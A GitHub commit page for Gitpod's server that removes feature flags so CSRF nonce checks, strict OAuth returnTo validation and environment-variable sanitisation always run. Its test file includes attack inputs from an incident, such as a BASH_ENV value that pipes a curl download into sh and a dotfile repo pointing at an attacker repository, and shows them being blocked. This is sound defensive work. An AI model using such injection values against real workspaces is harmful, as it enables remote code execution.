Skip to content

Commit 9e34aea

Browse files
geroplona-agent
geropl
and
ona-agent
authored
Remove superfluous security feature flags and always enable protections (#21007)
* Remove superfluous security feature flags and always enable protections - Remove context_env_var_validation feature flag - environment variable validation now always enabled - Remove enable_nonce_validation feature flag - CSRF protection with nonce validation now always enabled - Remove enable_strict_authorize_return_to feature flag - strict OAuth returnTo validation now always enabled - Update tests to reflect permanent security measures - Simplify code by removing conditional security logic These security features should be permanently active rather than behind feature flags. Addresses CLC-1618 by ensuring critical security protections cannot be accidentally disabled. Co-authored-by: Ona <[email protected]> * Fix unused import in envvar-prefix-context-parser.spec.ts Remove unused Experiments import that was causing TypeScript compilation error. Co-authored-by: Ona <[email protected]> --------- Co-authored-by: Ona <[email protected]>
1 parent bada41f commit 9e34aea

File tree

6 files changed

+47
-161
lines changed

6 files changed

+47
-161
lines changed

‎components/server/src/auth/authenticator.ts‎

Lines changed: 21 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@ import { AuthFlow, AuthProvider } from "./auth-provider";
1919
import { HostContextProvider } from "./host-context-provider";
2020
import { SignInJWT } from "./jwt";
2121
import { NonceService } from "./nonce-service";
22-
import { getFeatureFlagEnableNonceValidation, getFeatureFlagEnableStrictAuthorizeReturnTo } from "../util/featureflags";
2322
import { validateLoginReturnToUrl, validateAuthorizeReturnToUrl, safeFragmentRedirect } from "../express-util";
2423

2524
@injectable()
@@ -97,21 +96,18 @@ export class Authenticator {
9796
return;
9897
}
9998

100-
// Validate nonce for CSRF protection (if feature flag is enabled)
101-
const isNonceValidationEnabled = await getFeatureFlagEnableNonceValidation();
102-
if (isNonceValidationEnabled) {
103-
const stateNonce = flowState.nonce;
104-
const cookieNonce = this.nonceService.getNonceFromCookie(req);
105-
106-
if (!this.nonceService.validateNonce(stateNonce, cookieNonce)) {
107-
log.error(`CSRF protection: Nonce validation failed`, {
108-
url: req.url,
109-
hasStateNonce: !!stateNonce,
110-
hasCookieNonce: !!cookieNonce,
111-
});
112-
res.status(403).send("Authentication failed");
113-
return;
114-
}
99+
// Always validate nonce for CSRF protection
100+
const stateNonce = flowState.nonce;
101+
const cookieNonce = this.nonceService.getNonceFromCookie(req);
102+
103+
if (!this.nonceService.validateNonce(stateNonce, cookieNonce)) {
104+
log.error(`CSRF protection: Nonce validation failed`, {
105+
url: req.url,
106+
hasStateNonce: !!stateNonce,
107+
hasCookieNonce: !!cookieNonce,
108+
});
109+
res.status(403).send("Authentication failed");
110+
return;
115111
}
116112

117113
// Always clear the nonce cookie
@@ -306,18 +302,15 @@ export class Authenticator {
306302
return;
307303
}
308304

309-
// Validate returnTo URL against allowlist for authorize API
310-
const isStrictAuthorizeValidationEnabled = await getFeatureFlagEnableStrictAuthorizeReturnTo();
311-
if (isStrictAuthorizeValidationEnabled) {
312-
const isValidReturnTo = validateAuthorizeReturnToUrl(returnToParam, this.config.hostUrl);
313-
if (!isValidReturnTo) {
314-
log.warn(`Invalid returnTo URL rejected for authorize`, {
315-
"authorize-flow": true,
316-
returnToParam,
317-
});
318-
safeFragmentRedirect(res, this.getSorryUrl(`Invalid return URL.`));
319-
return;
320-
}
305+
// Always validate returnTo URL against allowlist for authorize API
306+
const isValidReturnTo = validateAuthorizeReturnToUrl(returnToParam, this.config.hostUrl);
307+
if (!isValidReturnTo) {
308+
log.warn(`Invalid returnTo URL rejected for authorize`, {
309+
"authorize-flow": true,
310+
returnToParam,
311+
});
312+
safeFragmentRedirect(res, this.getSorryUrl(`Invalid return URL.`));
313+
return;
321314
}
322315

323316
const returnTo = returnToParam;

‎components/server/src/auth/return-to-validation.spec.ts‎

Lines changed: 9 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -89,31 +89,22 @@ describe("ReturnTo URL Validation", () => {
8989
});
9090
});
9191

92-
describe("Feature Flag Integration", () => {
93-
it("should document nonce validation feature flag behavior", () => {
94-
// Feature flag: enable_nonce_validation (default: false)
95-
// When enabled: Full CSRF protection with nonce validation
96-
// When disabled: Nonce is generated but not validated (for future compatibility)
97-
98-
// This test documents the expected behavior:
92+
describe("Security Behavior", () => {
93+
it("should document nonce validation behavior", () => {
94+
// CSRF protection with nonce validation is always enabled
9995
// 1. Nonce is always generated and stored in cookie
10096
// 2. Nonce is always included in JWT state
101-
// 3. Nonce validation only occurs when feature flag is enabled
97+
// 3. Nonce validation always occurs for security
10298
// 4. Cookie is always cleared after callback processing
10399

104100
expect(true).to.equal(true); // Documentation test
105101
});
106102

107-
it("should document strict authorize returnTo validation feature flag behavior", () => {
108-
// Feature flag: enable_strict_authorize_return_to (default: false)
109-
// When enabled: Uses validateAuthorizeReturnToUrl (strict patterns)
110-
// When disabled: Falls back to validateLoginReturnToUrl (broader patterns)
111-
112-
// This test documents the expected behavior:
113-
// 1. /api/authorize endpoint checks the feature flag
114-
// 2. If enabled: Only allows complete-auth, root, /new, /quickstart
115-
// 3. If disabled: Falls back to login validation (broader patterns)
116-
// 4. /api/login endpoint always uses login validation
103+
it("should document strict authorize returnTo validation behavior", () => {
104+
// Strict returnTo validation is always enabled for /api/authorize
105+
// 1. /api/authorize endpoint always uses validateAuthorizeReturnToUrl (strict patterns)
106+
// 2. Only allows complete-auth, root, /new, /quickstart for security
107+
// 3. /api/login endpoint always uses login validation (broader patterns)
117108

118109
expect(true).to.equal(true); // Documentation test
119110
});

‎components/server/src/user/user-controller.ts‎

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,6 @@ import { UserService } from "./user-service";
4343
import { WorkspaceService } from "../workspace/workspace-service";
4444
import { runWithSubjectId } from "../util/request-context";
4545
import { SubjectId } from "../auth/subject-id";
46-
import { getFeatureFlagEnableStrictAuthorizeReturnTo } from "../util/featureflags";
4746

4847
export const ServerFactory = Symbol("ServerFactory");
4948
export type ServerFactory = () => GitpodServerImpl;
@@ -631,17 +630,13 @@ export class UserController {
631630
return returnTo;
632631
}
633632

634-
// TODO(gpl): Once we drop the feature flag, turn into the same form as above method.
635633
protected async ensureSafeReturnToParamForAuthorize(req: express.Request): Promise<string | undefined> {
636634
let returnTo = getSafeReturnToParam(req);
637635
if (returnTo) {
638-
const isStrictAuthorizeValidationEnabled = await getFeatureFlagEnableStrictAuthorizeReturnTo();
639-
if (isStrictAuthorizeValidationEnabled) {
640-
// Validate returnTo URL against allowlist for authorize API
641-
if (!validateAuthorizeReturnToUrl(returnTo, this.config.hostUrl)) {
642-
log.warn(`Invalid returnTo URL rejected for authorize: ${returnTo}`, { "login-flow": true });
643-
returnTo = undefined;
644-
}
636+
// Always validate returnTo URL against allowlist for authorize API
637+
if (!validateAuthorizeReturnToUrl(returnTo, this.config.hostUrl)) {
638+
log.warn(`Invalid returnTo URL rejected for authorize: ${returnTo}`, { "login-flow": true });
639+
returnTo = undefined;
645640
}
646641
}
647642

‎components/server/src/util/featureflags.ts‎

Lines changed: 0 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -11,25 +11,3 @@ export async function getFeatureFlagEnableExperimentalJBTB(userId: string): Prom
1111
user: { id: userId },
1212
});
1313
}
14-
15-
export async function getFeatureFlagEnableContextEnvVarValidation(userId: string): Promise<boolean> {
16-
return getExperimentsClientForBackend().getValueAsync("context_env_var_validation", false, {
17-
user: { id: userId },
18-
});
19-
}
20-
21-
/**
22-
* Feature flag for enabling nonce validation in OAuth flows.
23-
* Default: false (disabled)
24-
*/
25-
export async function getFeatureFlagEnableNonceValidation(): Promise<boolean> {
26-
return getExperimentsClientForBackend().getValueAsync("enable_nonce_validation", false, {});
27-
}
28-
29-
/**
30-
* Feature flag for enabling strict returnTo validation for /api/authorize endpoint.
31-
* Default: false (disabled, falls back to login validation)
32-
*/
33-
export async function getFeatureFlagEnableStrictAuthorizeReturnTo(): Promise<boolean> {
34-
return getExperimentsClientForBackend().getValueAsync("enable_strict_authorize_return_to", false, {});
35-
}

‎components/server/src/workspace/envvar-prefix-context-parser.spec.ts‎

Lines changed: 2 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@ import * as chai from "chai";
1212
import { EnvvarPrefixParser, EnvvarSanitization } from "./envvar-prefix-context-parser";
1313
import { WithEnvvarsContext, User } from "@gitpod/gitpod-protocol";
1414
import { Config } from "../config";
15-
import { Experiments } from "@gitpod/gitpod-protocol/lib/experiments/configcat-server";
1615
const expect = chai.expect;
1716

1817
@suite
@@ -104,27 +103,9 @@ class TestEnvvarPrefixParser {
104103
return this.parser.findPrefix(this.mockUser, url);
105104
}
106105

107-
// Security validation tests
106+
// Security validation tests - validation is now always enabled
108107
@test
109-
public async testSecurityValidationDisabled() {
110-
Experiments.configureTestingClient({
111-
context_env_var_validation: false,
112-
});
113-
114-
expect(await this.parseAndFormat("BASH_ENV=dangerous/")).to.deep.equal({ BASH_ENV: "dangerous" });
115-
// Note: URLs with / cannot work due to context URL parsing splitting on /
116-
expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/")).to.deep.equal({
117-
SUPERVISOR_DOTFILE_REPO: "https:",
118-
});
119-
expect(await this.parseAndFormat("VAR=value$/")).to.deep.equal({ VAR: "value$" });
120-
}
121-
122-
@test
123-
public async testSecurityValidationEnabled() {
124-
Experiments.configureTestingClient({
125-
context_env_var_validation: true,
126-
});
127-
108+
public async testSecurityValidation() {
128109
// Auto-executing variables should be blocked
129110
expect(await this.parseAndFormat("BASH_ENV=anything/")).to.deep.equal({});
130111
expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=repo/")).to.deep.equal({});
@@ -146,10 +127,6 @@ class TestEnvvarPrefixParser {
146127

147128
@test
148129
public async testLegitimateValuesAllowedWithSecurity() {
149-
Experiments.configureTestingClient({
150-
context_env_var_validation: true,
151-
});
152-
153130
// Legitimate values should still work
154131
expect(await this.parseAndFormat("VERSION=1.2.3/")).to.deep.equal({ VERSION: "1.2.3" });
155132
expect(await this.parseAndFormat("DEBUG_LEVEL=info/")).to.deep.equal({ DEBUG_LEVEL: "info" });
@@ -163,10 +140,6 @@ class TestEnvvarPrefixParser {
163140

164141
@test
165142
public async testMixedValidAndInvalidVariables() {
166-
Experiments.configureTestingClient({
167-
context_env_var_validation: true,
168-
});
169-
170143
// Mix of valid and invalid variables - only valid ones should be included
171144
expect(await this.parseAndFormat("VALID=good,BASH_ENV=bad,ANOTHER=also-good/")).to.deep.equal({
172145
VALID: "good",
@@ -181,10 +154,6 @@ class TestEnvvarPrefixParser {
181154

182155
@test
183156
public async testCLC1591AttackVectorsBlocked() {
184-
Experiments.configureTestingClient({
185-
context_env_var_validation: true,
186-
});
187-
188157
// Original attacks from CLC-1591 should be blocked
189158
expect(await this.parseAndFormat("BASH_ENV=$([email protected]|sh)/")).to.deep.equal({});
190159
expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/")).to.deep.equal(
@@ -199,10 +168,6 @@ class TestEnvvarPrefixParser {
199168

200169
@test
201170
public async testURLDecodingInValidation() {
202-
Experiments.configureTestingClient({
203-
context_env_var_validation: true,
204-
});
205-
206171
// URL-encoded dangerous characters should still be blocked
207172
expect(await this.parseAndFormat("VAR=value%24/")).to.deep.equal({}); // %24 = $
208173
expect(await this.parseAndFormat("VAR=value%28/")).to.deep.equal({}); // %28 = (
@@ -218,10 +183,6 @@ class TestEnvvarPrefixParser {
218183
class TestEnvvarSanitization {
219184
@test
220185
public testAutoExecVariablesBlocked() {
221-
Experiments.configureTestingClient({
222-
context_env_var_validation: true,
223-
});
224-
225186
// Test shell execution variables
226187
expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "anything")).to.deep.include({
227188
valid: false,
@@ -281,10 +242,6 @@ class TestEnvvarSanitization {
281242

282243
@test
283244
public testPatternBasedBlocking() {
284-
Experiments.configureTestingClient({
285-
context_env_var_validation: true,
286-
});
287-
288245
// Test LD_* pattern
289246
expect(EnvvarSanitization.validateContextEnvVar("LD_CUSTOM", "value")).to.deep.include({
290247
valid: false,
@@ -360,10 +317,6 @@ class TestEnvvarSanitization {
360317

361318
@test
362319
public testUnsafeCharactersBlocked() {
363-
Experiments.configureTestingClient({
364-
context_env_var_validation: true,
365-
});
366-
367320
// Test shell metacharacters
368321
expect(EnvvarSanitization.validateContextEnvVar("VAR", "value$")).to.deep.include({
369322
valid: false,
@@ -435,10 +388,6 @@ class TestEnvvarSanitization {
435388

436389
@test
437390
public testInjectionPatternsBlocked() {
438-
Experiments.configureTestingClient({
439-
context_env_var_validation: true,
440-
});
441-
442391
// Note: Most injection patterns are caught by character whitelist first
443392
// Test command substitution - caught by unsafe chars ($ and ( not allowed)
444393
expect(EnvvarSanitization.validateContextEnvVar("VAR", "$(whoami)")).to.deep.include({
@@ -507,10 +456,6 @@ class TestEnvvarSanitization {
507456

508457
@test
509458
public testLegitimateValuesAllowed() {
510-
Experiments.configureTestingClient({
511-
context_env_var_validation: true,
512-
});
513-
514459
// Test simple values
515460
expect(EnvvarSanitization.validateContextEnvVar("VERSION", "1.2.3")).to.deep.equal({
516461
valid: true,
@@ -554,10 +499,6 @@ class TestEnvvarSanitization {
554499

555500
@test
556501
public testCLC1591AttackVectors() {
557-
Experiments.configureTestingClient({
558-
context_env_var_validation: true,
559-
});
560-
561502
// Original attack vectors from CLC-1591
562503
expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "$([email protected]|sh)")).to.deep.include({
563504
valid: false,
@@ -588,10 +529,6 @@ class TestEnvvarSanitization {
588529

589530
@test
590531
public testGetBlockReasonDescription() {
591-
Experiments.configureTestingClient({
592-
context_env_var_validation: true,
593-
});
594-
595532
expect(EnvvarSanitization.getBlockReasonDescription("auto-exec")).to.equal(
596533
"Variable automatically executes code when set",
597534
);
@@ -608,10 +545,6 @@ class TestEnvvarSanitization {
608545

609546
@test
610547
public testEdgeCases() {
611-
Experiments.configureTestingClient({
612-
context_env_var_validation: true,
613-
});
614-
615548
// Test very long variable names
616549
const longName = "A".repeat(1000);
617550
expect(EnvvarSanitization.validateContextEnvVar(longName, "value")).to.deep.equal({

‎components/server/src/workspace/envvar-prefix-context-parser.ts‎

Lines changed: 11 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ import { User, WorkspaceContext, WithEnvvarsContext } from "@gitpod/gitpod-proto
99
import { injectable } from "inversify";
1010
import { EnvVarWithValue } from "@gitpod/gitpod-protocol/lib/protocol";
1111
import { log } from "@gitpod/gitpod-protocol/lib/util/logging";
12-
import { getFeatureFlagEnableContextEnvVarValidation } from "../util/featureflags";
1312

1413
@injectable()
1514
export class EnvvarPrefixParser implements IPrefixContextParser {
@@ -24,24 +23,21 @@ export class EnvvarPrefixParser implements IPrefixContextParser {
2423
return context;
2524
}
2625

27-
const envVarValidationEnabled = await getFeatureFlagEnableContextEnvVarValidation(user.id);
2826
const envvars: EnvVarWithValue[] = [];
2927
for (const [k, v] of result.envVarMap.entries()) {
3028
const decodedValue = decodeURIComponent(v);
3129

32-
// Skip validation if feature flag is disabled
33-
if (envVarValidationEnabled) {
34-
const validation = EnvvarSanitization.validateContextEnvVar(k, decodedValue);
35-
if (!validation.valid) {
36-
log.warn({ userId: user.id }, "Blocked environment variable via context URL", {
37-
reason: validation.reason,
38-
error: validation.error,
39-
reasonDescription: validation.reason
40-
? EnvvarSanitization.getBlockReasonDescription(validation.reason)
41-
: undefined,
42-
});
43-
continue;
44-
}
30+
// Always validate environment variables for security
31+
const validation = EnvvarSanitization.validateContextEnvVar(k, decodedValue);
32+
if (!validation.valid) {
33+
log.warn({ userId: user.id }, "Blocked environment variable via context URL", {
34+
reason: validation.reason,
35+
error: validation.error,
36+
reasonDescription: validation.reason
37+
? EnvvarSanitization.getBlockReasonDescription(validation.reason)
38+
: undefined,
39+
});
40+
continue;
4541
}
4642

4743
envvars.push({ name: k, value: decodeURIComponent(v) });

0 commit comments

Comments
 (0)